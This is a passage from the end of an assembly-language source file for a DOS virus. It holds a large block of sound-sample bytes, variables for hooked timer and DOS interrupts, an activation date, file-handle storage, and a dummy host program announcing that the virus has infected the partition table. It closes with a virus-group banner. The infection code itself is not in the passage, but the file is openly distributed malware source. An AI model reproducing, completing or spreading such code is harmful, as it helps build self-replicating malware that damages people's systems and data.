db 000h,07ch,00fh,080h,07ch,007h,0e0h,078h,0e1h,0f0h,0f0h,0e1h,0f0h,0f0h,0f0h,0f1h
|
|||
|
db 0e1h,0f0h,0e1h,0e1h,0f0h,0e3h,0c3h,0f0h,0cfh,007h,0f0h,01eh,00fh,0f0h,03eh,01eh
|
|||
|
db 078h,03ch,01ch,078h,038h,03ch,078h,078h,07ch,070h,0f0h,078h,0e1h,0c0h,070h,0c3h
|
|||
|
db 058h,061h,08eh,078h,0e3h,01ch,071h,0c6h,03ch,0e3h,08eh,030h,0e7h,01ch,071h,0c6h
|
|||
|
db 038h,0e1h,08eh,038h,0e3h,09ch,071h,0c7h,01ch,0f1h,0c7h,018h,0e3h,007h,038h,0e7h
|
|||
|
db 00fh,000h,0efh,00fh,001h,0e6h,00fh,0c1h,0e3h,01eh,003h,0e3h,08eh,0e1h,0dfh,087h
|
|||
|
db 0e1h,0c3h,0c6h,070h,07fh,003h,0f0h,073h,0f0h,03eh,007h,0ech,007h,0e0h,078h,070h
|
|||
|
db 07eh,00fh,00fh,007h,0c2h,063h,0e0h,07eh,008h,0f8h,01fh,080h,03eh,003h,0f0h,01fh
|
|||
|
db 080h,0fch,007h,0f0h,03fh,001h,0f8h,00fh,0c0h,0feh,003h,0f0h,01fh,0c0h,0f8h,01fh
|
|||
|
db 0e0h,07ch,01fh,0f0h,03eh,00fh,080h,01fh,00fh,0f0h,01fh,007h,0d0h,00fh,007h,0c3h
|
|||
|
db 00fh,007h,082h,00fh,007h,0c0h,00fh,007h,0c3h,00fh,007h,080h,00fh,007h,00ah,01fh
|
|||
|
db 00fh,08eh,01eh,01eh,00eh,03ch,01eh,01ch,03ch,03ch,018h,078h,07ch,018h,0f0h,078h
|
|||
|
db 0f1h,0f0h,0f0h,0e1h,0e1h,0e0h,0c3h,0c3h,0e1h,0c7h,083h,0c3h,08fh,00fh,003h,01eh
|
|||
|
db 01eh,00eh,01ch,03eh,01ch,078h,078h,038h,0f0h,0f0h,031h,0e1h,0ech,063h,0c3h,0c8h
|
|||
|
db 0c7h,087h,0f1h,08fh,00ch,0e3h,01eh,01bh,0c7h,01ch,027h,08eh,038h,047h,01ch,079h
|
|||
|
db 08eh,038h,071h,01eh,038h,0f2h,01ch,070h,0d6h,038h,0f1h,0c0h,038h,0f1h,0e0h,078h
|
|||
|
db 001h,0e4h,07dh,0f0h,0e0h,018h,018h,0f6h,03ch,088h,070h,01fh,0ech,078h,006h,004h
|
|||
|
db 03fh,087h,0f2h,01ch,083h,0fbh,01fh,0e1h,0f8h,007h,0f0h,0ffh,0c3h,0f8h,003h,0c0h
|
|||
|
db 0ffh,001h,0f8h,007h,080h,03fh,001h,0e0h,00ch,086h,07ch,063h,0c0h,01fh,060h,0fch
|
|||
|
db 023h,080h,038h,003h,0e0h,038h,0c0h,018h,0c7h,0f8h,0c7h,000h,000h,001h,0c7h,0b8h
|
|||
|
db 060h,008h,006h,01fh,0c7h,018h,002h,030h,00eh,03ch,01ch,000h,000h,001h,0f8h,01ch
|
|||
|
db 001h,087h,081h,0e1h,080h,0cch,006h,000h,0c6h,060h,000h,008h,007h,080h,000h,020h
|
|||
|
db 0e2h,000h,000h,020h,008h,008h,063h,0ech,004h,023h,024h,062h,08ch,0abh,052h,02dh
|
|||
|
db 0a8h,004h,09bh,034h,0a5h,0c6h,092h,0b4h,0a6h,099h,012h,0c1h,09dh,0a0h,02ch,0dbh
|
|||
|
db 034h,0cdh,0a8h,044h,098h,0f6h,024h,003h,07fh,0a0h,040h,01bh,0feh,000h,00bh,0ffh
|
|||
|
db 080h,001h,0ffh,0c0h,000h,0ffh,0f0h,000h,07fh,0f8h,000h,03fh,0f8h,000h,03fh,0f0h
|
|||
|
db 000h,03fh,0f8h,000h,03fh,0f0h,000h,07fh,0c0h,003h,0ffh,0c0h,003h,0ffh,000h,005h
|
|||
|
db 0feh,04eh,01dh,0e0h,031h,0ffh,000h,0c7h,0feh,000h,01fh,0feh,000h,03fh,0feh,000h
|
|||
|
db 03fh,0ffh,080h,03fh,0ffh,000h,047h,0f9h,082h,007h,0e7h,08ch,00fh,09fh,070h,03eh
|
|||
|
db 07fh,0c0h,071h,0bfh,000h,0e7h,07ch,003h,09fh,0f8h,00eh,03fh,0e0h,018h,0f7h,0c0h
|
|||
|
db 073h,0ffh,001h,0c7h,0fch,003h,00eh,0f8h,00eh,03fh,0e0h,018h,06fh,0c0h,070h,09fh
|
|||
|
db 080h,0e3h,07eh,003h,0c6h,0fch,007h,083h,0f8h,00eh,007h,0f0h,01ch,06fh,0c0h,078h
|
|||
|
db 01fh,0c0h,0f1h,07fh,001h,0e0h,0ffh,003h,0c1h,0feh,003h,083h,0fch,007h,007h,0f8h
|
|||
|
db 00fh,00fh,078h,00eh,00eh,0f8h,01eh,01eh,0f0h,01eh,03ch,0f0h,01ch,03dh,0e1h,05ch
|
|||
|
db 039h,0e1h,018h,07bh,0c2h,038h,073h,0c3h,038h,0f3h,086h,038h,0e7h,086h,070h,0e3h
|
|||
|
db 086h,070h,0e3h,084h,070h,0e3h,086h,070h,0e7h,08ch,070h,0e7h,08eh,070h,0e3h,086h
|
|||
|
db 071h,0c3h,086h,078h,0e3h,080h,079h,0e3h,082h,038h,0f1h,0c3h,01ch,0f9h,0c3h,01ch
|
|||
|
db 078h,0c1h,01eh,078h,0e1h,08fh,03ch,070h,08fh,03ch,030h,067h,08eh,038h,073h,086h
|
|||
|
db 018h,07bh,087h,08eh,03ch,0e3h,08fh,038h,060h,0e7h,08ch,038h,0f3h,087h,00eh,078h
|
|||
|
db 0c3h,01eh,070h,070h,0e7h,086h,021h,0e7h,007h,08ch,078h,00eh,03eh,0e0h,0f1h,0cfh
|
|||
|
db 000h,0f1h,0e7h,007h,01ch,078h,0c7h,01eh,078h,070h,0c7h,08eh,030h,067h,0c7h,08eh
|
|||
|
db 018h,0f3h,007h,070h,07ch,079h,0c1h,019h,033h,004h,0e3h,0cfh,003h,087h,03ch,070h
|
|||
|
db 0f1h,0c7h,00eh,03ch,0f1h,0e1h,087h,09ch,038h,061h,0e7h,08fh,01ch,03fh,087h,03ch
|
|||
|
db 00fh,0f3h,0c3h,086h,03ch,0f0h,018h,05fh,03eh,030h,0f1h,087h,0c6h,00fh,0f0h,0e3h
|
|||
|
db 0c7h,01fh,00eh,03ch,071h,087h,08eh,01fh,018h,079h,0c3h,08fh,01ch,01eh,018h,0f1h
|
|||
|
db 0e0h,007h,0cch,01eh,038h,071h,0e0h,0c7h,0c6h,01ch,07ch,0e0h,01ch,078h,07fh,010h
|
|||
|
db 07fh,0e0h,018h,0e1h,0cfh,018h,0e1h,0c0h,038h,0e7h,0c0h,01ch,079h,087h,038h,023h
|
|||
|
db 0ech,018h,0f1h,082h,078h,003h,0c6h,018h,07bh,0c1h,0f8h,001h,0cfh,018h,079h,0c1h
|
|||
|
db 00eh,038h,073h,0ddh,019h,0f1h,007h,03ch,070h,0e7h,008h,078h,0c3h,00eh,078h,023h
|
|||
|
db 08eh,018h,073h,0c7h,09eh,030h,0c3h,08eh,018h,0f1h,0c7h,00ch,070h,0e3h,08eh,03ch
|
|||
|
db 071h,0c3h,01ch,038h,0e1h,08fh,01ch,070h,0c7h,08eh,038h,061h,0c7h,01eh,038h,0e1h
|
|||
|
db 08fh,01ch,071h,0e7h,08ch,038h,0e3h,0c6h,01ch,078h,0e1h,00eh,01ch,078h,0c7h,08eh
|
|||
|
db 03ch,031h,0c3h,08fh,028h,070h,0e3h,086h,01ch,038h,0f1h,087h,00eh,038h,071h,0c3h
|
|||
|
db 08fh,01ch,078h,0e1h,0c3h,00eh,01ch,078h,0e1h,0c3h,08eh,01ch,078h,071h,0c1h,08fh
|
|||
|
db 08fh,0f8h,03dh,0f8h,018h,007h,0feh,002h,007h,0feh,006h,003h,0ffh,083h,0c1h,0ffh
|
|||
|
db 0c1h,081h,0f7h,0d1h,0c0h,0ffh,0c0h,0c1h,0f3h,0e1h,0c1h,0f7h,0e0h,0c1h,0e3h,0e1h
|
|||
|
db 0c1h,0e3h,0c1h,0c1h,0e3h,0c3h,083h,0c7h,083h,083h,0c7h,087h,007h,08fh,086h,00fh
|
|||
|
db 09eh,01ch,01eh,01ch,03ch,01ch,03ch,038h,078h,038h,0f0h,0f8h,0e0h,0f1h,0f1h,0c1h
|
|||
|
db 0e1h,0f3h,083h,087h,0deh,006h,00fh,03eh,01ch,03ch,07ch,038h,07ch,0f8h,060h,0ffh
|
|||
|
db 0c7h,083h,087h,087h,083h,00fh,00fh,087h,01fh,01fh,007h,09fh,01eh,007h,087h,00fh
|
|||
|
db 00fh,00fh,00fh,00eh,01eh,01eh,01ch,01eh,03eh,00ch,03ch,03eh,00ch,03ch,03eh,01ch
|
|||
|
db 01ch,07ch,03ch,038h,0f8h,078h,0f0h,0f0h,0f0h,0f1h,0f1h,0c1h,0f1h,0e3h,083h,0e1h
|
|||
|
db 0c0h,047h,0c7h,0c1h,08fh,00fh,086h,01eh,00fh,018h,078h,01ch,061h,0fch,071h,08eh
|
|||
|
db 071h,0c6h,031h,0c7h,030h,0c7h,018h,0e3h,08ch,0e3h,09eh,023h,08eh,078h,00eh,039h
|
|||
|
db 0c0h,078h,07fh,0e1h,0e0h,0f9h,0c3h,080h,0f3h,00fh,003h,0cch,03ch,0cfh,010h,073h
|
|||
|
db 01eh,0e0h,0c6h,07dh,007h,001h,0fch,004h,041h,0f3h,080h,0b1h,0eeh,040h,067h,01ch
|
|||
|
db 039h,09eh,03ch,0e6h,038h,003h,09ch,063h,00eh,079h,087h,00dh,0c7h,00ch,007h,08eh
|
|||
|
db 018h,00fh,09eh,006h,01fh,01fh,00ch,03eh,03eh,006h,03ch,01ch,01ch,07eh,03ch,038h
|
|||
|
db 03eh,038h,07ch,07ch,060h,070h,079h,081h,0e0h,0e2h,063h,0c1h,0c1h,0c3h,087h,0c7h
|
|||
|
db 087h,007h,03fh,00eh,00ch,0ceh,03eh,033h,038h,078h,07ch,0e0h,0e0h,0f9h,0e3h,083h
|
|||
|
db 0f1h,085h,0cfh,0e6h,007h,01fh,098h,01ch,07eh,020h,070h,0fch,031h,099h,0d8h,0c6h
|
|||
|
db 067h,063h,01bh,09dh,08ch,00eh,07bh,030h,079h,0e0h,080h,0fbh,0cch,003h,0e7h,030h
|
|||
|
db 00fh,09ch,0c0h,03eh,033h,000h,0fch,0ceh,003h,0f3h,098h,00dh,0ceh,060h,037h,039h
|
|||
|
db 080h,0dch,0e7h,001h,073h,09ch,007h,0ceh,070h,01fh,01ch,0c0h,03eh,073h,000h,0f1h
|
|||
|
db 0cch,001h,0cfh,038h,006h,03eh,0e0h,00ch,0ffh,098h,043h,0feh,061h,00fh,0f9h,084h
|
|||
|
db 077h,0f2h,010h,08fh,0cch,003h,03fh,091h,000h,07fh,002h,013h,0fch,0c8h,047h,0fbh
|
|||
|
db 030h,00ch,0e6h,00ch,00dh,0dch,020h,099h,0b8h,0cch,013h,0e3h,038h,08dh,08ch,0e1h
|
|||
|
db 099h,03bh,0d8h,099h,0bfh,0ech,0c4h,07fh,09ch,0c8h,0ceh,07eh,004h,02fh,0f9h,000h
|
|||
|
db 027h,0f7h,020h,01bh,0ffh,0c0h,00eh,0f7h,060h,011h,0ffh,0c0h,006h,0ffh,080h,001h
|
|||
|
db 0feh,0c4h,066h,0fch,0d0h,011h,0ddh,0c4h,067h,027h,033h,0fch,0cch,046h,066h,072h
|
|||
|
db 000h,0cfh,0eeh,0c0h,00fh,077h,030h,019h,09fh,0e0h,000h,0dfh,0d8h,011h,01ch,0cch
|
|||
|
db 0cch,046h,067h,073h,011h,099h,09ch,0cch,0e6h,062h,033h,03bh,011h,08dh,0feh,0c4h
|
|||
|
db 003h,07fh,0b9h,080h,08ch,0f6h,062h,000h,03dh,0dch,000h,007h,0fbh,010h,019h,0bfh
|
|||
|
db 0e2h,046h,007h,033h,0b1h,008h,06eh,063h,031h,09fh,0f0h,000h,067h,073h,011h,099h
|
|||
|
db 0cfh,033h,030h,030h,0d9h,098h,080h,03fh,0fch,000h,04fh,0efh,073h,030h,018h,07fh
|
|||
|
db 0fch,000h,019h,0feh,000h,037h,0ffh,080h,000h,037h,08eh,0f9h,000h,003h,0ffh,080h
|
|||
|
db 006h,0ffh,0f0h,000h,01eh,0f1h,0dbh,080h,000h,037h,0f0h,000h,027h,0f3h,040h,04eh
|
|||
|
db 0e7h,000h,04fh,0c6h,000h,0dfh,0ceh,080h,09dh,0cch,001h,09fh,0c4h,000h,09fh,0fch
|
|||
|
db 001h,09fh,080h,000h,0bfh,0c8h,080h,09dh,0cch,080h,0ceh,0e4h,040h,04eh,0ffh,022h
|
|||
|
db 027h,072h,010h,013h,0bbh,098h,00dh,0dch,084h,002h,077h,062h,001h,0bbh,0b0h,080h
|
|||
|
db 04eh,0ech,040h,01bh,0bbh,010h,006h,0eeh,042h,000h,09dh,0d8h,080h,013h,0bbh,000h
|
|||
|
db 002h,077h,062h,004h,06eh,0e4h,020h,00ch,0eeh,0c0h,000h,0cch,0ech,000h,00ch,0eeh
|
|||
|
db 0c0h,000h,06eh,0f4h,000h,006h,077h,040h,002h,033h,0feh,080h,018h,0dfh,0f0h,000h
|
|||
|
db 046h,07fh,0c0h,023h,01bh,0f6h,000h,00ch,0ffh,0d8h,010h,031h,07eh,070h,03ch,00fh
|
|||
|
db 0e0h,0f8h,01fh,081h,0f0h,03eh,007h,0c0h,0f0h,03eh,003h,003h,0f0h,038h,03fh,003h
|
|||
|
db 081h,0f0h,03ch,01fh,081h,0c1h,0f0h,01ch,00fh,081h,0e0h,0f8h,01eh,00fh,080h,0e0h
|
|||
|
db 07fh,07fh,0ffh,0ffh,0ffh,0ffh,0ffh,0feh,06ch,092h,0d9h,0a6h,0c6h,082h,0c8h,032h
|
|||
|
db 049h,000h,083h,07fh,0b0h,000h,016h,0ffh,0a0h,000h,05fh,0fdh,080h,042h,0bfh,0f0h
|
|||
|
db 082h,009h,02dh,010h,080h,099h,06bh,040h,006h,0cah,0a0h,000h,0bdh,0b4h,000h,050h
|
|||
|
db 0b4h,001h,0d1h,0a4h,081h,0d3h,046h,096h,0d6h,0a2h,049h,0dbh,040h,0b7h,0f4h,083h
|
|||
|
db 06dh,0e9h,026h,0f1h,0f2h,027h,0f3h,0a4h,0b7h,063h,060h,01fh,0c7h,0f1h,036h,0cfh
|
|||
|
db 0b0h,03eh,00dh,0b0h,07eh,00bh,0d0h,07bh,01bh,0c0h,07ch,01bh,064h,06ch,01fh,024h
|
|||
|
db 064h,00dh,036h,066h,04dh,093h,023h,06dh,01bh,003h,02dh,09dh,007h,085h,09dh,087h
|
|||
|
db 0c4h,08eh,087h,0c4h,0c6h,0c3h,0c4h,0c7h,043h,066h,043h,003h,0e6h,043h,081h,0b2h
|
|||
|
db 065h,081h,0b2h,061h,081h,0b3h,063h,081h,0d3h,033h,0c1h,0f1h,031h,091h,0b1h,033h
|
|||
|
db 0b1h,0f1h,033h,0a1h,0e1h,023h,021h,0e1h,023h,063h,063h,066h,066h,0e3h,066h,0e4h
|
|||
|
db 0c7h,04dh,0cdh,08fh,013h,05bh,09eh,066h,064h,0ech,0cch,0c9h,0ddh,099h,091h,0bbh
|
|||
|
db 017h,04fh,0d8h,02eh,00fh,032h,07eh,01eh,068h,0f8h,079h,091h,0f0h,0f7h,046h,0c5h
|
|||
|
db 0deh,09fh,09fh,0edh,07ch,02fh,0b3h,034h,05eh,04ch,099h,0b9h,0bbh,032h,0cah,0cch
|
|||
|
db 0dbh,009h,013h,00dh,034h,02eh,064h,0d8h,0b9h,0a1h,023h,064h,08ch,08dh,092h,032h
|
|||
|
db 03ch,0c8h,0c8h,0fah,037h,023h,0d0h,09ch,00eh,0c2h,0f0h,066h,04bh,0c1h,0d9h,01bh
|
|||
|
db 026h,064h,0cch,09bh,007h,033h,06ch,01ch,099h,0e0h,072h,065h,083h,089h,01dh,00eh
|
|||
|
db 024h,064h,078h,0b1h,091h,0e6h,0cch,08fh,012h,032h,038h,049h,090h,0f3h,066h,047h
|
|||
|
db 08dh,019h,01eh,034h,04ch,0d9h,0b3h,033h,0e6h,0cch,0c9h,019h,062h,06ch,06dh,099h
|
|||
|
db 0b1h,0b6h,066h,0c6h,0f8h,09bh,01dh,0c8h,0fch,033h,033h,0b1h,0ech,0cdh,0cdh,099h
|
|||
|
db 03ah,037h,064h,0e8h,0e7h,083h,0c1h,0cfh,007h,087h,0ddh,01fh,00fh,032h,03eh,01eh
|
|||
|
db 074h,07ch,07ch,0e0h,0f8h,0f9h,0c1h,0f9h,077h,043h,0e9h,0fbh,083h,0e0h,0e5h,087h
|
|||
|
db 082h,099h,00fh,016h,073h,023h,001h,0f1h,013h,002h,032h,006h,002h,0f2h,066h,0c0h
|
|||
|
db 0e2h,062h,046h,066h,00eh,00ch,0e6h,026h,040h,0e4h,07ch,000h,0e2h,06ch,001h,0c2h
|
|||
|
db 022h,062h,0e6h,00ch,040h,036h,01eh,002h,0e2h,036h,020h,0f2h,03ch,038h,0f3h,036h
|
|||
|
db 060h,0d3h,013h,042h,07bh,01bh,001h,0f9h,03fh,02ch,0f9h,01bh,0b0h,079h,091h,0b1h
|
|||
|
db 0f9h,01fh,083h,0f9h,09fh,003h,0fdh,09dh,09bh,0bch,0ddh,0dbh,0fch,0ddh,09bh,0fch
|
|||
|
db 0ech,069h,0fch,0dch,0fdh,09ch,0cch,0f9h,03eh,06ch,0bch,0bch,02eh,024h,0feh,066h
|
|||
|
db 034h,0deh,026h,036h,01eh,066h,066h,04eh,066h,02eh,04fh,017h,01fh,027h,033h,01fh
|
|||
|
db 00fh,09bh,01ah,04fh,099h,039h,027h,088h,0d8h,037h,098h,083h,007h,0cch,018h,012h
|
|||
|
db 04ch,01ch,006h,0a4h,036h,00eh,054h,01eh,01fh,01eh,00eh,007h,09eh,00eh,04eh,0ceh
|
|||
|
db 00fh,007h,087h,007h,087h,08fh,007h,003h,047h,007h,083h,0c3h,003h,083h,0e3h,081h
|
|||
|
db 081h,0c3h,0a3h,0e1h,0e3h,0c1h,0f1h,0f1h,0c0h,0e0h,0f9h,0c0h,0f0h,070h,0f0h,0f8h
|
|||
|
db 0f8h,0f0h,0f8h,07ch,0c0h,0d8h,018h,01ch,01ch,06ch,0fch,03fh,025h,0cch,04ch,00ch
|
|||
|
db 0ceh,06eh,03ch,0e2h,0e3h,0e3h,0e7h,0c7h,08ch,073h,032h,074h,0f0h,0f1h,0b2h,070h
|
|||
|
db 0f2h,078h,078h,078h,078h,078h,078h,038h,038h,03ch,03eh,01ch,03ch,01eh,01ch,01ch
|
|||
|
db 01eh,01fh,01eh,00fh,00eh,00eh,00fh,08fh,00fh,007h,087h,087h,043h,083h,0c3h,0c3h
|
|||
|
db 0c3h,0c3h,0c3h,0c3h,0c3h,0c1h,0e1h,0c3h,0e0h,0f0h,0e0h,0e0h,0f0h,0f0h,0e0h,0f0h
|
|||
|
db 070h,0f0h,0f8h,078h,070h,078h,070h,070h,03ch,03ch,038h,03ch,03ch,01ch,03ch,03ch
|
|||
|
db 01ch,01eh,01ch,09ch,01eh,01ch,01eh,01fh,01ch,00eh,01fh,01ch,00fh,01fh,01eh,00fh
|
|||
|
db 00fh,09fh,007h,00fh,0c7h,007h,00fh,087h,017h,087h,087h,087h,0c7h,093h,087h,0c3h
|
|||
|
db 0d3h,083h,0c3h,0d1h,0c3h,0e1h,0f9h,0c3h,0e1h,0e8h,0c7h,0e0h,0f8h,0e3h,0f8h,0f6h
|
|||
|
db 0e3h,0e8h,07eh,0e3h,0e8h,07eh,063h,0e4h,0f9h,0e3h,0e2h,0dbh,0e1h,0e1h,0c8h,0e0h
|
|||
|
db 070h,0cdh,0f0h,0f0h,0cch,0f1h,0f8h,0c1h,0f0h,0f0h,0f1h,038h,038h,073h,038h,03ch
|
|||
|
db 073h,038h,03ch,038h,01ch,01eh,03ah,01eh,01eh,03ch,08eh,01eh,01ch,08eh,00fh,01fh
|
|||
|
db 08eh,00fh,01fh,00eh,00fh,01eh,006h,007h,00eh,007h,04eh,049h,0e2h,036h,00dh,0e6h
|
|||
|
db 028h,0c1h,0f3h,006h,004h,0b3h,007h,001h,0a9h,00fh,083h,095h,007h,087h,0c7h,083h
|
|||
|
db 081h,0e7h,083h,093h,0b3h,083h,0c1h,0e1h,0c1h,0e1h,0e3h,0c1h,0c0h,0d1h,0c1h,0e0h
|
|||
|
db 0f0h,0c0h,0e0h,0f8h,0e0h,060h,070h,0e8h,0f8h,078h,0f0h,07ch,07ch,070h,038h,03eh
|
|||
|
db 070h,03ch,01ch,03ch,03eh,03eh,03ch,03eh,01fh,030h,036h,006h,007h,007h,01bh,03fh
|
|||
|
db 00fh,0c9h,073h,013h,003h,0b3h,09bh,08fh,038h,0bch,0f8h,0f9h,0f1h,0e3h,01ch,0cch
|
|||
|
db 09dh,03ch,03ch,06ch,09ch,03ch,09eh,01eh,01eh,01eh,01eh,01eh,00eh,00eh,00fh,00fh
|
|||
|
db 087h,00fh,007h,087h,007h,007h,087h,0c7h,083h,0c3h,083h,083h,0e3h,0c3h,0c1h,0e1h
|
|||
|
db 0f1h,0d1h,0e0h,0f0h,0f0h,0f0h,0f0h,0f0h,0f0h,0f0h,0f0h,078h,070h,0f8h,03ch,038h
|
|||
|
db 038h,03ch,03ch,038h,03ch,01ch,03ch,03eh,01eh,01ch,03eh,01ch,01ch,00fh,00fh,00eh
|
|||
|
db 00fh,00fh,007h,00fh,00fh,007h,007h,087h,027h,007h,087h,007h,087h,0c7h,003h,087h
|
|||
|
db 0c7h,003h,0c7h,0c7h,083h,0c3h,0e7h,0c1h,0c3h,0f1h,0c1h,0c3h,0e1h,0c5h,0e1h,0e1h
|
|||
|
db 0e1h,0f1h,0ech,0e1h,0f0h,0f4h,0e0h,0f0h,0f4h,070h,0f8h,07eh,070h,0f8h,07ah,031h
|
|||
|
db 0f8h,03eh,038h,0feh,03dh,0b8h,0fah,01fh,0b8h,0fah,01fh,098h,0f9h,03eh,078h,0f8h
|
|||
|
db 0b6h,0f8h,0f8h,072h,038h,01ch,033h,07ch,03ch,033h,03ch,07eh,038h,07ch,03eh,03ch
|
|||
|
db 04eh,00eh,01ch,0ceh,00fh,01ch,0ceh,00fh,00eh,007h,007h,08eh,087h,087h,08fh,063h
|
|||
|
db 087h,087h,023h,083h,0c7h,0e3h,083h,0c7h,0c3h,083h,0c7h,081h,081h,0c0h,0f9h,09bh
|
|||
|
db 093h,079h,08dh,083h,079h,08bh,030h,07ch,0c9h,0c3h,02ch,0c1h,0c0h,07ah,043h,0e0h
|
|||
|
db 0e5h,041h,0e1h,0f1h,0e0h,0e0h,0f9h,0e0h,0e4h,0ech,0e0h,0f0h,078h,070h,078h,078h
|
|||
|
db 0f0h,070h,034h,070h,078h,03ch,030h,038h,03eh ; ,038h
|
|||
|
|
|||
|
SampleEnd equ this byte
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
;
|
|||
|
; Variables
|
|||
|
;
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
Active db -1
|
|||
|
ActiveYear dw -1
|
|||
|
ActiveDate dw -1
|
|||
|
|
|||
|
OldInt8 equ this dword ; orginal interrupt 8
|
|||
|
OldInt8o dw -1
|
|||
|
OldInt8s dw -1
|
|||
|
OldInt1C equ this dword ; orginal interrupt 1ch
|
|||
|
OldInt1Co dw -1
|
|||
|
OldInt1Cs dw -1
|
|||
|
OldInt21 equ this dword ; orginal interrupt 21h
|
|||
|
OldInt21o dw -1
|
|||
|
OldInt21s dw -1
|
|||
|
|
|||
|
Count dw -1 ; timer count
|
|||
|
SampleOffset dw -1 ; Used to make sound
|
|||
|
SampleBit db -1
|
|||
|
SampleFlag db -1
|
|||
|
Handle dw 8 dup(-1) ; Filehandles
|
|||
|
|
|||
|
cseg ends
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
;
|
|||
|
; Orginal EXE-file
|
|||
|
;
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
mseg segment public 'code'
|
|||
|
assume cs:mseg, ds:mseg, es:mseg
|
|||
|
|
|||
|
|
|||
|
db 'MZ' ; header
|
|||
|
dw PrgSize ; PartPage
|
|||
|
dw 1 ; PageCount
|
|||
|
dw 0 ; relocation items = 0
|
|||
|
dw 0 ; headersize = 0h
|
|||
|
dw 80h ; minimum memory
|
|||
|
dw 0ffffh ; maximum memory
|
|||
|
dw (PrgSize+15)/10h ; ss
|
|||
|
dw 7feh ; sp
|
|||
|
dw 0 ; chksum
|
|||
|
dw offset Orginal ; ip
|
|||
|
dw 0 ; cs
|
|||
|
dw 1ch ; offset relocation table
|
|||
|
dw 0 ; overlay number
|
|||
|
|
|||
|
Orginal: mov ah,9 ; display warning
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov dx,offset Warning
|
|||
|
int 21h
|
|||
|
mov ax,4c00h
|
|||
|
int 21h ; terminate
|
|||
|
|
|||
|
Warning db 13,10
|
|||
|
db 'WARNING:',13,10
|
|||
|
db 13,10
|
|||
|
db 'Yeah virus has now infected the partition table !!!!!',13,10
|
|||
|
db 13,10
|
|||
|
db '$'
|
|||
|
|
|||
|
mseg ends
|
|||
|
|
|||
|
sseg segment stack 'stack'
|
|||
|
db 800h dup(?)
|
|||
|
sseg ends
|
|||
|
|
|||
|
end Main
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|